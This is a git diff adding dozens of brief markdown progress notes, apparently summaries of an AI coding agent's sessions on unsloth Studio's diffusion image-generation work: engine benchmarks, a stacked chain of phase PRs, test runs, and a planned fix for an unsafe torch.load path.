diff --git a/async_task_outputs/async_task_output_033lqa.md b/async_task_outputs/async_task_output_033lqa.md new file mode 100644 index 0000000000..9bfcec39cc --- /dev/null +++ b/async_task_outputs/async_task_output_033lqa.md @@ -0,0 +1 @@ +- Asked: `Make a new PR for that work` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_04oge0.md b/async_task_outputs/async_task_output_04oge0.md new file mode 100644 index 0000000000..e379d44aa4 --- /dev/null +++ b/async_task_outputs/async_task_output_04oge0.md @@ -0,0 +1 @@ +- CI pending; local at `9c5b35c71` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_07qggq.md b/async_task_outputs/async_task_output_07qggq.md new file mode 100644 index 0000000000..c2a1446f5b --- /dev/null +++ b/async_task_outputs/async_task_output_07qggq.md @@ -0,0 +1,4 @@ +- Decision: GPU default stays PyTorch/diffusers; benchmark showed PyTorch GGUF 0.82s vs sd.cpp `--diffusion-fa` 6.96s at 1024px (~8.5x faster). +- File noted: `scripts/compare_engines.py` reproduces benchmark; not committed in span. +- Command `tail -30 ...compare_engines_*.log` showed run progress; background run completed exit 0. +- COMPLETED: GPU comparison. PENDING: optional commit and CPU comparison. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_0hcd2s.md b/async_task_outputs/async_task_output_0hcd2s.md new file mode 100644 index 0000000000..efb4f736c8 --- /dev/null +++ b/async_task_outputs/async_task_output_0hcd2s.md @@ -0,0 +1 @@ +- Completed CPU sd.cpp vs diffusers benchmark. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_0kxcv4.md b/async_task_outputs/async_task_output_0kxcv4.md new file mode 100644 index 0000000000..87b9be6b0d --- /dev/null +++ b/async_task_outputs/async_task_output_0kxcv4.md @@ -0,0 +1 @@ +Continue cascading the already-pushed phase16 branch into the top branches, starting with image-workflows #6769 in the `unsloth` worktree; phase16 is merged but has unresolved conflicts. Next action is to inspect the conflict hunks in the listed files, especially `studio/backend/core/inference/diffusion.py`, `diffusion_families.py`, install tests, frontend picker/API/page files, and the truncated remaining paths from `git status`, then resolve them without re-running the completed merge command. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_1phcfm.md b/async_task_outputs/async_task_output_1phcfm.md new file mode 100644 index 0000000000..ff52b86602 --- /dev/null +++ b/async_task_outputs/async_task_output_1phcfm.md @@ -0,0 +1 @@ +- Asked summary for PR `6658` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_283p70.md b/async_task_outputs/async_task_output_283p70.md new file mode 100644 index 0000000000..f9cfc2f9b4 --- /dev/null +++ b/async_task_outputs/async_task_output_283p70.md @@ -0,0 +1 @@ +- `Transform` img2img done+verified. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_2ip7xl.md b/async_task_outputs/async_task_output_2ip7xl.md new file mode 100644 index 0000000000..5b085cfbec --- /dev/null +++ b/async_task_outputs/async_task_output_2ip7xl.md @@ -0,0 +1 @@ +- PENDING: HF NVFP4 diffusion search \ No newline at end of file diff --git a/async_task_outputs/async_task_output_2p79oo.md b/async_task_outputs/async_task_output_2p79oo.md new file mode 100644 index 0000000000..8fb8023af5 --- /dev/null +++ b/async_task_outputs/async_task_output_2p79oo.md @@ -0,0 +1 @@ +- PENDING: consumer GPU FP32 accum nerf; test 2:4 sparse \ No newline at end of file diff --git a/async_task_outputs/async_task_output_2r0025.md b/async_task_outputs/async_task_output_2r0025.md new file mode 100644 index 0000000000..61cac5b15b --- /dev/null +++ b/async_task_outputs/async_task_output_2r0025.md @@ -0,0 +1 @@ +- Bench done; report/results written. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_30zpk0.md b/async_task_outputs/async_task_output_30zpk0.md new file mode 100644 index 0000000000..f59de5d29e --- /dev/null +++ b/async_task_outputs/async_task_output_30zpk0.md @@ -0,0 +1 @@ +- `Yes do that for all models as well` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_32qisw.md b/async_task_outputs/async_task_output_32qisw.md new file mode 100644 index 0000000000..c86d5e2e6b --- /dev/null +++ b/async_task_outputs/async_task_output_32qisw.md @@ -0,0 +1 @@ +- `INT8`: use `Qwen/Qwen-Image`+torchAO \ No newline at end of file diff --git a/async_task_outputs/async_task_output_3sovvl.md b/async_task_outputs/async_task_output_3sovvl.md new file mode 100644 index 0000000000..194f0bdf8d --- /dev/null +++ b/async_task_outputs/async_task_output_3sovvl.md @@ -0,0 +1 @@ +- Pending ComfyUI all-models/accuracy bench \ No newline at end of file diff --git a/async_task_outputs/async_task_output_4dou64.md b/async_task_outputs/async_task_output_4dou64.md new file mode 100644 index 0000000000..6b4a5665db --- /dev/null +++ b/async_task_outputs/async_task_output_4dou64.md @@ -0,0 +1 @@ +- `9c5b35c71`; lint pass, CPU queued \ No newline at end of file diff --git a/async_task_outputs/async_task_output_4dyxs8.md b/async_task_outputs/async_task_output_4dyxs8.md new file mode 100644 index 0000000000..11d72403f7 --- /dev/null +++ b/async_task_outputs/async_task_output_4dyxs8.md @@ -0,0 +1,15 @@ +- Decision: PR `#6658` (`https://github.com/unslothai/unsloth/pull/6658`) was identified as the base PR because `gh pr view 6658 --repo unslothai/unsloth --json number,title,author,headRefName,baseRefName,state,url` showed head `image-generation`, base `main`, author `oobabooga`, state `OPEN`, title `Studio: add image generation with Unsloth GGUFs`. +- Decision: The full diffusion stack was treated as 14 PRs total: original `#6658` plus 13 phase PRs. Reason: the branch chain was contiguous, each PR base matched the prior PR head; phases `3`, `5`, and `13` had no standalone PR and were folded into adjacent PRs. +- Decision: Posted `@codex review` and `/gemini review` as separate comments on every PR so one bot trigger would not swallow the other. +- Commands run: `gh auth status 2>&1 | head -20` exited successfully; key output showed authenticated to `github.com` as `danielhanchen` using `GH_TOKEN`. +- Commands run: `cd /tmp && gh pr view 6658 --repo unslothai/unsloth --json number,title,author,headRefName,baseRefName,state,url 2>&1 | head -40` exited successfully; key output confirmed PR `#6658` metadata. +- Commands run: `cd /tmp && gh pr list --repo unslothai/unsloth --author danielhanchen --state all --limit 60 --json number,title,headRefName,baseRefName,state,createdAt 2>&1 | head -200` exited successfully and was used to identify authored phase PRs. +- Commands run: loop posted comments to `PRS="6658 6670 6675 6679 6680 6690 6694 6700 6701 6702 6703 6716 6717 6724"` using `gh pr comment "$n" --repo unslothai/unsloth --body "@codex review"` and `gh pr comment "$n" --repo unslothai/unsloth --body "/gemini review"`. +- Command result: all 28 comment posts succeeded with `codex_rc=0` and `gemini_rc=0`. +- PR stack recorded: `#6658` branch `image-generation` base `main`; `#6670` branch `diffusion-phase1` base `pr6658-image-generation`; `#6675` branch `diffusion-phase2-memory` base `diffusion-phase1`; `#6679` branch `diffusion-phase4-native` base `diffusion-phase2-memory`; `#6680` branch `diffusion-phase6-features` base `diffusion-phase4-native`; `#6690` branch `diffusion-phase7-perf` base `diffusion-phase6-features`; `#6694` branch `diffusion-phase8-quant` base `diffusion-phase7-perf`; `#6700` branch `diffusion-phase9-prequant` base `diffusion-phase8-quant`; `#6701` branch `diffusion-phase10-attention` base `diffusion-phase9-prequant`; `#6702` branch `diffusion-phase11-consumer-int8` base `diffusion-phase10-attention`; `#6703` branch `diffusion-phase12-fbcache` base `diffusion-phase11-consumer-int8`; `#6716` branch `diffusion-phase14-int8-modulation` base `diffusion-phase12-fbcache`; `#6717` branch `diffusion-phase15-int8-prequant` base `diffusion-phase14-int8-modulation`; `#6724` branch `diffusion-phase16-native-engine-routing` base `diffusion-phase15-int8-prequant`. +- Comment URLs captured for `#6658`: codex `https://github.com/unslothai/unsloth/pull/6658#issuecomment-4828987610`, gemini `https://github.com/unslothai/unsloth/pull/6658#issuecomment-4828987681`. +- Comment URLs captured for `#6670`: codex `https://github.com/unslothai/unsloth/pull/6670#issuecomment-4828987748`, gemini `https://github.com/unslothai/unsloth/pull/6670#issuecomment-4828987824`. +- Error encountered: shell cwd was reset to `/mnt/disks/unslothai/ubuntu/workspace_81` after `cd /tmp`; no unresolved impact reported. +- Files created/edited: none. +- COMPLETED: authenticated GitHub context checked, full PR stack identified, `@codex review` and `/gemini review` posted separately on all 14 PRs. +- PENDING: none for this span. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_5a3ktf.md b/async_task_outputs/async_task_output_5a3ktf.md new file mode 100644 index 0000000000..31f195e234 --- /dev/null +++ b/async_task_outputs/async_task_output_5a3ktf.md @@ -0,0 +1,2 @@ +- Done: diffusion; 73 pass +- Pending PR \ No newline at end of file diff --git a/async_task_outputs/async_task_output_5afl46.md b/async_task_outputs/async_task_output_5afl46.md new file mode 100644 index 0000000000..5ce2ddf26e --- /dev/null +++ b/async_task_outputs/async_task_output_5afl46.md @@ -0,0 +1 @@ +- GPU: ours beats ComfyUI; pending Z/Flux2 \ No newline at end of file diff --git a/async_task_outputs/async_task_output_63adwt.md b/async_task_outputs/async_task_output_63adwt.md new file mode 100644 index 0000000000..9cd59d674b --- /dev/null +++ b/async_task_outputs/async_task_output_63adwt.md @@ -0,0 +1 @@ +- Asked support: `Mac`, GPU, GGUF \ No newline at end of file diff --git a/async_task_outputs/async_task_output_6pwnc4.md b/async_task_outputs/async_task_output_6pwnc4.md new file mode 100644 index 0000000000..048f1711b5 --- /dev/null +++ b/async_task_outputs/async_task_output_6pwnc4.md @@ -0,0 +1 @@ +- Wrote `outputs/coverage_matrix.md` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_6z1qxq.md b/async_task_outputs/async_task_output_6z1qxq.md new file mode 100644 index 0000000000..cae7e5cdc3 --- /dev/null +++ b/async_task_outputs/async_task_output_6z1qxq.md @@ -0,0 +1,12 @@ +- Decision: removed Studio diffusion weight-buffer feature because allocator already pools per-forward casts with no `cudaMalloc` churn, so end-to-end impact was neutral; left upstream LLM `WEIGHT_BUFFERS` in `unsloth/kernels/utils.py` untouched because unrelated reference path. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/diffusion_gguf_compile.py`: removed `_WEIGHT_BUFFERS`, `_weight_buffer`, `_buffered_forward_native`, `install_weight_buffer`, `uninstall_weight_buffer`, `is_weight_buffer_installed`, env flag; docstring now explains removal. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/diffusion_speed.py`: removed `"weight_buffer"` flag and install block; docstrings clarify eager has no GGUF accelerator. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/diffusion.py`: removed buffer comments; `uninstall_all()` only reverts compiled-dequant. +- Edited tests: removed 6 weight-buffer tests; updated `test_speed_eager_gguf_installs_no_accelerator`; `_stub_gguf_accel` now records compiled-dequant only. +- Deleted `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/buffer_bench.py`. +- Ran `grep -rn -i "weight_buffer\|buffered_forward\|install_weight_buffer\|WEIGHT_BUFFERS\|_buffered_forward_native\|is_weight_buffer" --include="*.py" studio/`; key output: no hits. +- Ran `CUDA_VISIBLE_DEVICES="" python -m pytest tests/test_diffusion_speed.py tests/test_diffusion_gguf_compile.py tests/test_diffusion_arch_patches.py -q`; result `28 passed in 7.84s`. +- Ran `CUDA_VISIBLE_DEVICES="" python -m pytest tests/ -q -k "diffusion"`; result `294 passed, 1 skipped, 5012 deselected, 1 warning in 13.38s`. +- Ran tree-wide grep for removed symbols; only remaining hits are `WEIGHT_BUFFERS` in `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/unsloth/kernels/utils.py`, intentionally not changed. +- COMPLETED: Studio diffusion global-buffer removal and verification. +- PENDING: none in this span. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_76hycy.md b/async_task_outputs/async_task_output_76hycy.md new file mode 100644 index 0000000000..d4eb267a0f --- /dev/null +++ b/async_task_outputs/async_task_output_76hycy.md @@ -0,0 +1 @@ +- Done: PR `#6690` opened, mergeable \ No newline at end of file diff --git a/async_task_outputs/async_task_output_7b5f92.md b/async_task_outputs/async_task_output_7b5f92.md new file mode 100644 index 0000000000..1823b41b2f --- /dev/null +++ b/async_task_outputs/async_task_output_7b5f92.md @@ -0,0 +1,2 @@ +- PENDING: Verify from `conversation history jsonl` whether CPU `sd.cpp` is fastest vs alternatives including `ComfyUI`; if confirmed, wire it into studio when GPUs are absent. +- PENDING: Check and benchmark `https://github.com/sgl-project/sglang-omni`, `https://docs.sglang.io/docs/sglang-diffusion/index`, `https://docs.nvidia.com/dynamo/dev/backends/sg-lang/diffusion`, `https://developer.nvidia.com/blog/accelerating-diffusion-models-with-an-open-plug-and-play-offering/`, `https://github.com/NVlabs/FastGen`, `https://github.com/vllm-project/vllm-omni`. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_7mgh4t.md b/async_task_outputs/async_task_output_7mgh4t.md new file mode 100644 index 0000000000..f8e0d90a7e --- /dev/null +++ b/async_task_outputs/async_task_output_7mgh4t.md @@ -0,0 +1,2 @@ +- #149 done: suite+5 GIFs pass +- #148 hardened; #152 blocked diff --git a/async_task_outputs/async_task_output_7ohiaw.md b/async_task_outputs/async_task_output_7ohiaw.md new file mode 100644 index 0000000000..a2956b4b12 --- /dev/null +++ b/async_task_outputs/async_task_output_7ohiaw.md @@ -0,0 +1 @@ +- User challenged comparison: check `ComfyUI` with `int8 / float8 / NVFP4` and compare BEST ComfyUI with all optimizations on. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_7pkxee.md b/async_task_outputs/async_task_output_7pkxee.md new file mode 100644 index 0000000000..fa6c5a6dd4 --- /dev/null +++ b/async_task_outputs/async_task_output_7pkxee.md @@ -0,0 +1 @@ +- Asked GGUF/diffusers CPU speed \ No newline at end of file diff --git a/async_task_outputs/async_task_output_86xro8.md b/async_task_outputs/async_task_output_86xro8.md new file mode 100644 index 0000000000..15757cd233 --- /dev/null +++ b/async_task_outputs/async_task_output_86xro8.md @@ -0,0 +1 @@ +- Asked int8 pre-quant support \ No newline at end of file diff --git a/async_task_outputs/async_task_output_91pxca.md b/async_task_outputs/async_task_output_91pxca.md new file mode 100644 index 0000000000..54c938e819 --- /dev/null +++ b/async_task_outputs/async_task_output_91pxca.md @@ -0,0 +1,5 @@ +- Verified all phase PRs touch only `studio/backend/...` plus `scripts/`; no core training lib. +- Found GGUF NVIDIA path defaults to `SPEED_OFF` field but `resolve_speed_mode(..., is_gguf=True)` enables ~2.2x. +- Confirmed `SdCppEngine` not wired into live routes. +- COMPLETED: precise speedup matrix. +- PENDING: route CPU/MPS to sd.cpp. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_9fb9e7.md b/async_task_outputs/async_task_output_9fb9e7.md new file mode 100644 index 0000000000..70a4491868 --- /dev/null +++ b/async_task_outputs/async_task_output_9fb9e7.md @@ -0,0 +1,2 @@ +- Completed: sd.cpp CUDA works; diffusers GPU 10-16x faster; beats ComfyUI 3.9-7.9x on FLUX.1/Qwen. +- Pending: Z-Image, FLUX.2-klein, LPIPS accuracy, CPU ComfyUI-vs-sd.cpp. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_9i95nj.md b/async_task_outputs/async_task_output_9i95nj.md new file mode 100644 index 0000000000..91a48e99f5 --- /dev/null +++ b/async_task_outputs/async_task_output_9i95nj.md @@ -0,0 +1 @@ +- Studio live; stale install fixed \ No newline at end of file diff --git a/async_task_outputs/async_task_output_9qzr71.md b/async_task_outputs/async_task_output_9qzr71.md new file mode 100644 index 0000000000..abde490b44 --- /dev/null +++ b/async_task_outputs/async_task_output_9qzr71.md @@ -0,0 +1 @@ +Continue the latest actionable directive: fully satisfy the stop-hook goal by completing fair best-vs-best coverage for “as many models as possible,” especially Z-Image and FLUX.2-klein fp8 ComfyUI comparisons that were still pending. sd.cpp GPU support, sd.cpp-vs-diffusers performance, diffusers-vs-ComfyUI on tested models, accuracy validation, and CPU/GPU sd.cpp coverage were already marked done. The last assistant tool action, writing `outputs/coverage_matrix.md`, is done; next logically continue by fetching/running the missing fp8 best ComfyUI benchmarks for Z-Image and FLUX.2-klein, then update the coverage/writeup with those results. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_a1xjij.md b/async_task_outputs/async_task_output_a1xjij.md new file mode 100644 index 0000000000..91564d0061 --- /dev/null +++ b/async_task_outputs/async_task_output_a1xjij.md @@ -0,0 +1 @@ +- Asked overall speedup. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_a3jhh0.md b/async_task_outputs/async_task_output_a3jhh0.md new file mode 100644 index 0000000000..98b61bbf08 --- /dev/null +++ b/async_task_outputs/async_task_output_a3jhh0.md @@ -0,0 +1 @@ +- Asked Studio `--secure`+PRs \ No newline at end of file diff --git a/async_task_outputs/async_task_output_alswyh.md b/async_task_outputs/async_task_output_alswyh.md new file mode 100644 index 0000000000..8df67768c1 --- /dev/null +++ b/async_task_outputs/async_task_output_alswyh.md @@ -0,0 +1,2 @@ +- Done: `sd.cpp` CUDA +- Pending: accuracy, ComfyUI, CPU \ No newline at end of file diff --git a/async_task_outputs/async_task_output_aud22l.md b/async_task_outputs/async_task_output_aud22l.md new file mode 100644 index 0000000000..cae292837e --- /dev/null +++ b/async_task_outputs/async_task_output_aud22l.md @@ -0,0 +1 @@ +Continue the latest directive: verify which earlier-phase review comments are real and still unfixed, fix real issues on their owning stacked branches, and skip ones already fixed by later phases. Phase 16/#6724 is done and pushed; task 88 is in progress. The next concrete action is to continue from the completed checkout of `diffusion-phase9-prequant` and implement the planned safe fix for the #6700 `torch.load(weights_only=False)` RCE in the prequant local-path load path, then test, commit, and push that branch. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_ay5dlx.md b/async_task_outputs/async_task_output_ay5dlx.md new file mode 100644 index 0000000000..386438b575 --- /dev/null +++ b/async_task_outputs/async_task_output_ay5dlx.md @@ -0,0 +1 @@ +- 2A/2B/2D/3/5 done; `b7074ad05` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_b648if.md b/async_task_outputs/async_task_output_b648if.md new file mode 100644 index 0000000000..0bee88a26b --- /dev/null +++ b/async_task_outputs/async_task_output_b648if.md @@ -0,0 +1 @@ +- TODO: reconcile CI PR `#6717` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_b9qt5b.md b/async_task_outputs/async_task_output_b9qt5b.md new file mode 100644 index 0000000000..75fdc70b9c --- /dev/null +++ b/async_task_outputs/async_task_output_b9qt5b.md @@ -0,0 +1 @@ +- Bench done; summary/result files written \ No newline at end of file diff --git a/async_task_outputs/async_task_output_bl98pl.md b/async_task_outputs/async_task_output_bl98pl.md new file mode 100644 index 0000000000..96242b3413 --- /dev/null +++ b/async_task_outputs/async_task_output_bl98pl.md @@ -0,0 +1,9 @@ +- Decision: hook feedback says task is not fully satisfied because best-vs-best ComfyUI fp8 coverage is incomplete for all tested model families. +- Decision: confirmed completed items include `sd.cpp` GPU support, CUDA build for `sm_100`, working CPU/GPU paths, sd.cpp vs diffusers comparisons, diffusers+opts beating ComfyUI for tested best-vs-best cases, and LPIPS accuracy staying within the 25% rule with no 50% loss. +- Decision: performance conclusions preserved: optimized diffusers is `1.9-3.4x` faster on GPU than optimized `sd.cpp`; `sd.cpp` is `1.6-2.8x` faster on CPU; diffusers+opts beats ComfyUI best-vs-best `1.9-3.4x` on GPU for FLUX.1 and Qwen. +- Pending gap: `test as many models as possible` remains incomplete; only 2 of 4 model families have full best-vs-best ComfyUI fp8 comparisons: `FLUX.1` and `Qwen-Image`. +- Pending gap: `Z-Image` and `FLUX.2-klein` currently have only ComfyUI GGUF comparison numbers, not ComfyUI fp8 best numbers. +- Verbatim unresolved statement to preserve: `For Z-Image and FLUX.2-klein I only have the ComfyUI **GGUF** numbers so far (2.51s, 1.01s) vs our 0.51s/0.27s — I can fetch their fp8 single-files and rerun those two best-vs-best to fully close it.` +- Key output: ComfyUI GGUF numbers for `Z-Image` and `FLUX.2-klein` are `2.51s` and `1.01s`; current “our” numbers are `0.51s/0.27s`. +- Completed: most sd.cpp/diffusers optimization, CPU/GPU, performance, and accuracy validation work. +- Pending: fetch fp8 single-files for `Z-Image` and `FLUX.2-klein`, rerun ComfyUI fp8 best-vs-best, compare against optimized diffusers/sd.cpp, and update final conclusion. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_bxhnpa.md b/async_task_outputs/async_task_output_bxhnpa.md new file mode 100644 index 0000000000..8a5c70bca0 --- /dev/null +++ b/async_task_outputs/async_task_output_bxhnpa.md @@ -0,0 +1 @@ +- GGUF=diffusers+PyTorch; sd.cpp likely fasterCPU \ No newline at end of file diff --git a/async_task_outputs/async_task_output_d8h7zs.md b/async_task_outputs/async_task_output_d8h7zs.md new file mode 100644 index 0000000000..9b568d0da3 --- /dev/null +++ b/async_task_outputs/async_task_output_d8h7zs.md @@ -0,0 +1 @@ +- PENDING: PR 6658 int8/fp8 mem \ No newline at end of file diff --git a/async_task_outputs/async_task_output_dgs8dq.md b/async_task_outputs/async_task_output_dgs8dq.md new file mode 100644 index 0000000000..1ecd2b2a9a --- /dev/null +++ b/async_task_outputs/async_task_output_dgs8dq.md @@ -0,0 +1 @@ +- Run `gh pr checks 6717` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_dqlfn9.md b/async_task_outputs/async_task_output_dqlfn9.md new file mode 100644 index 0000000000..f2883c25bd --- /dev/null +++ b/async_task_outputs/async_task_output_dqlfn9.md @@ -0,0 +1 @@ +- User directed: `keep working`; continue pending review/work. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_dr02pq.md b/async_task_outputs/async_task_output_dr02pq.md new file mode 100644 index 0000000000..0252bb2a3c --- /dev/null +++ b/async_task_outputs/async_task_output_dr02pq.md @@ -0,0 +1,17 @@ +- Decision: Used live GitHub PR metadata rather than memory to reconstruct the PR stack accurately. +- Decision: Treated closed `#6658` as the original image-generation root and open `#6763` as the live continuation, because both are by `oobabooga`, both use head branch `image-generation`, and both are based on `main`. +- Decision: Identified all authored PRs by `danielhanchen` stacked transitively on `#6658` / `#6763`, with current work concentrated in the top diffusion-image-workflows sub-stack. +- Commands run from `/mnt/disks/unslothai/ubuntu/workspace_81`: +- `env -u GH_TOKEN gh pr list --repo unslothai/unsloth --author danielhanchen --state open --limit 50 --json number,title,headRefName,baseRefName,isDraft,state 2>&1 | head -100` +- Key output included open authored PRs such as `#6781` head `fix-mlx-gguf-reload-context` base `main`, title `MLX CI: bound llama-cli context so the GGUF reload stops timing out`; `#6780` head `fix-rag-extraction-rtl-docx-tables` base `main`, title `Studio RAG: fix RTL/Indic PDF corruption and dropped DOCX tables`; output was truncated after `harden-llmco`. +- `for n in 6658 6763; do ... env -u GH_TOKEN gh pr view $n --repo unslothai/unsloth --json number,title,headRefName,baseRefName,author,state ... done` +- Key output: `#6658 [CLOSED] by oobabooga`, title `Studio: add image generation with Unsloth GGUFs`, head `image-generation`, base `main`. +- Key output: `#6763 [OPEN] by oobabooga`, title `Studio: add image generation with Unsloth GGUFs`, head `image-generation`, base `main`. +- No files were created or edited in this span. +- No errors were encountered. +- Completed: Produced bottom-to-top stack rooted at `#6658` / `#6763`: `main` → `image-generation` `#6763` / `#6658` → `#6679` `diffusion-phase4-native` → `#6680` `diffusion-phase6-features` → `#6690` `diffusion-phase7-perf` → `#6694` `diffusion-phase8-quant` → `#6700` `diffusion-phase9-prequant` → `#6701` `diffusion-phase10-attention` → `#6702` `diffusion-phase11-consumer-int8` → `#6703` `diffusion-phase12-fbcache` → `#6716` `diffusion-phase14-int8-modulation` → `#6717` `diffusion-phase15-int8-prequant` → `#6724` `diffusion-phase16-native-engine-routing`, branching to `#6768` `diffusion-sdserver` and `#6769` `diffusion-image-workflows`; from `#6769`, branches `#6772` `diffusion-fp8-perrow` and `#6771` `diffusion-lora` → `#6773` `diffusion-controlnet`. +- Completed: Counted `16 PRs`, all authored by `danielhanchen`, all currently `OPEN`, transitively stacked on `#6658` / `#6763`. +- Completed: Grouped stack as `Phase chain (11): #6679, #6680, #6690, #6694, #6700, #6701, #6702, #6703, #6716, #6717, #6724`; `Native sd-server branch (1): #6768`; `diffusion-image-workflows sub-stack (4): #6769 -> #6771, #6772 -> #6773`. +- Completed: Noted session work landed in top PRs `#6769`, `#6771`, `#6772`, `#6773`, covering `On Device/chat picker fixes`, `GGUF speed-mode relabel`, `LoRA dot-alias fix`, `FP8 per-row fix`, `ControlNet`, and `FLUX.2-dev family`. +- Completed: Flagged that phase numbers `5` and `13` are absent as separate open PRs because they were folded into adjacent phases upstream. +- Pending: User was offered follow-up to list merge order or check CI status across the stack; no follow-up was performed in this span. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_dx0jie.md b/async_task_outputs/async_task_output_dx0jie.md new file mode 100644 index 0000000000..6496e549c2 --- /dev/null +++ b/async_task_outputs/async_task_output_dx0jie.md @@ -0,0 +1,7 @@ +- User directed continuation with `Yes do phase 16`. +- Decision: proceed to `phase 16` because the user explicitly approved it. +- Files created/edited: none in this span. +- Commands run: none in this span. +- Errors encountered: none. +- COMPLETED: captured user approval for `phase 16`. +- PENDING: execute `phase 16` in the resumed session. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_dy4t1t.md b/async_task_outputs/async_task_output_dy4t1t.md new file mode 100644 index 0000000000..51ae96e042 --- /dev/null +++ b/async_task_outputs/async_task_output_dy4t1t.md @@ -0,0 +1 @@ +- check PR 6658 int8/fp8 mem \ No newline at end of file diff --git a/async_task_outputs/async_task_output_e214y1.md b/async_task_outputs/async_task_output_e214y1.md new file mode 100644 index 0000000000..4b323dbffa --- /dev/null +++ b/async_task_outputs/async_task_output_e214y1.md @@ -0,0 +1 @@ +- `keep testing`; continue phases \ No newline at end of file diff --git a/async_task_outputs/async_task_output_eubt71.md b/async_task_outputs/async_task_output_eubt71.md new file mode 100644 index 0000000000..56d2c1ba4e --- /dev/null +++ b/async_task_outputs/async_task_output_eubt71.md @@ -0,0 +1,15 @@ +- Decision: stacked Phase 16 on `diffusion-phase15-int8-prequant` because current workspace HEAD was Phase 15 (`9c5b35c71`) and PR needed to continue the chain. +- Decision: staged only the 11 intended feature/test files and deliberately excluded local benchmark tooling/logs/plans to keep PR scope clean. +- Created branch `diffusion-phase16-native-engine-routing` from `diffusion-phase15-int8-prequant`. +- Committed `7f3c206fa` with message `Studio diffusion (Phase 16): route no-GPU loads to the native sd.cpp engine`. +- Files committed: `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/diffusion_engine_router.py`, `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/diffusion_families.py`, `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/gpu_arbiter.py`, `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/sd_cpp_backend.py`, `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/sd_cpp_engine.py`, `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/models/inference.py`, `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/routes/inference.py`, plus 4 test files including `studio/backend/tests/test_diffusion_engine_router.py` and `studio/backend/tests/test_sd_cpp_backend.py`. +- Created PR body file `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/temp/phase16_pr_body.md`. +- Ran `gh auth status`; key output: logged in to `github.com` as `danielhanchen` using `GH_TOKEN`. +- Ran `git checkout -b diffusion-phase16-native-engine-routing`; exit success, output `Switched to a new branch 'diffusion-phase16-native-engine-routing'`. +- Ran `git commit`; exit success, output `11 files changed, 1241 insertions(+), 27 deletions(-)`, created 4 new files. +- Ran `git push -u origin diffusion-phase16-native-engine-routing`; exit success, branch pushed to `https://github.com/unslothai/unsloth.git`; remote noted `GitHub found 19 vulnerabilities on unslothai/unsloth's default branch`. +- Ran `gh pr create --repo unslothai/unsloth --base diffusion-phase15-int8-prequant --head diffusion-phase16-native-engine-routing --title "Studio diffusion (Phase 16): route no-GPU loads to the native sd.cpp engine" --body-file temp/phase16_pr_body.md`; output warning `Warning: 20 uncommitted changes`, then created `https://github.com/unslothai/unsloth/pull/6724`. +- Ran `gh pr view 6724 --repo unslothai/unsloth --json number,title,state,baseRefName,headRefName,additions,deletions,changedFiles,url`; verified PR `#6724` is `OPEN`, base `diffusion-phase15-int8-prequant`, head `diffusion-phase16-native-engine-routing`, `+1241/-27 across 11 files`. +- Completed: Phase 16 PR created and verified at `https://github.com/unslothai/unsloth/pull/6724`. +- Completed: summary noted prior validation: sd.cpp fastest CPU engine vs diffusers/ComfyUI; CPU/Mac Studio auto-routes to sd.cpp with diffusers fallback; `313 tests green + real CPU end-to-end validated`; external comparisons written in `outputs/ext_engines/SUMMARY.md`, `FINAL_engine_comparison.md`, and `coverage_matrix.md`. +- Pending: CI on PR `#6724` still needs to run/be watched; user was asked whether to watch checks and reconcile failures. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_f7xn15.md b/async_task_outputs/async_task_output_f7xn15.md new file mode 100644 index 0000000000..16d5a961d1 --- /dev/null +++ b/async_task_outputs/async_task_output_f7xn15.md @@ -0,0 +1 @@ +- PR #6716 int8 fix done; CI pending \ No newline at end of file diff --git a/async_task_outputs/async_task_output_fbj32r.md b/async_task_outputs/async_task_output_fbj32r.md new file mode 100644 index 0000000000..cfe98e08d4 --- /dev/null +++ b/async_task_outputs/async_task_output_fbj32r.md @@ -0,0 +1 @@ +- Created `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/compare_engines.py`; started GPU6 benchmark; wait/read rejected. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_fbpegn.md b/async_task_outputs/async_task_output_fbpegn.md new file mode 100644 index 0000000000..747e1642a1 --- /dev/null +++ b/async_task_outputs/async_task_output_fbpegn.md @@ -0,0 +1 @@ +- `INT8` uses `Qwen/Qwen-Image` torchAO \ No newline at end of file diff --git a/async_task_outputs/async_task_output_flkdsl.md b/async_task_outputs/async_task_output_flkdsl.md new file mode 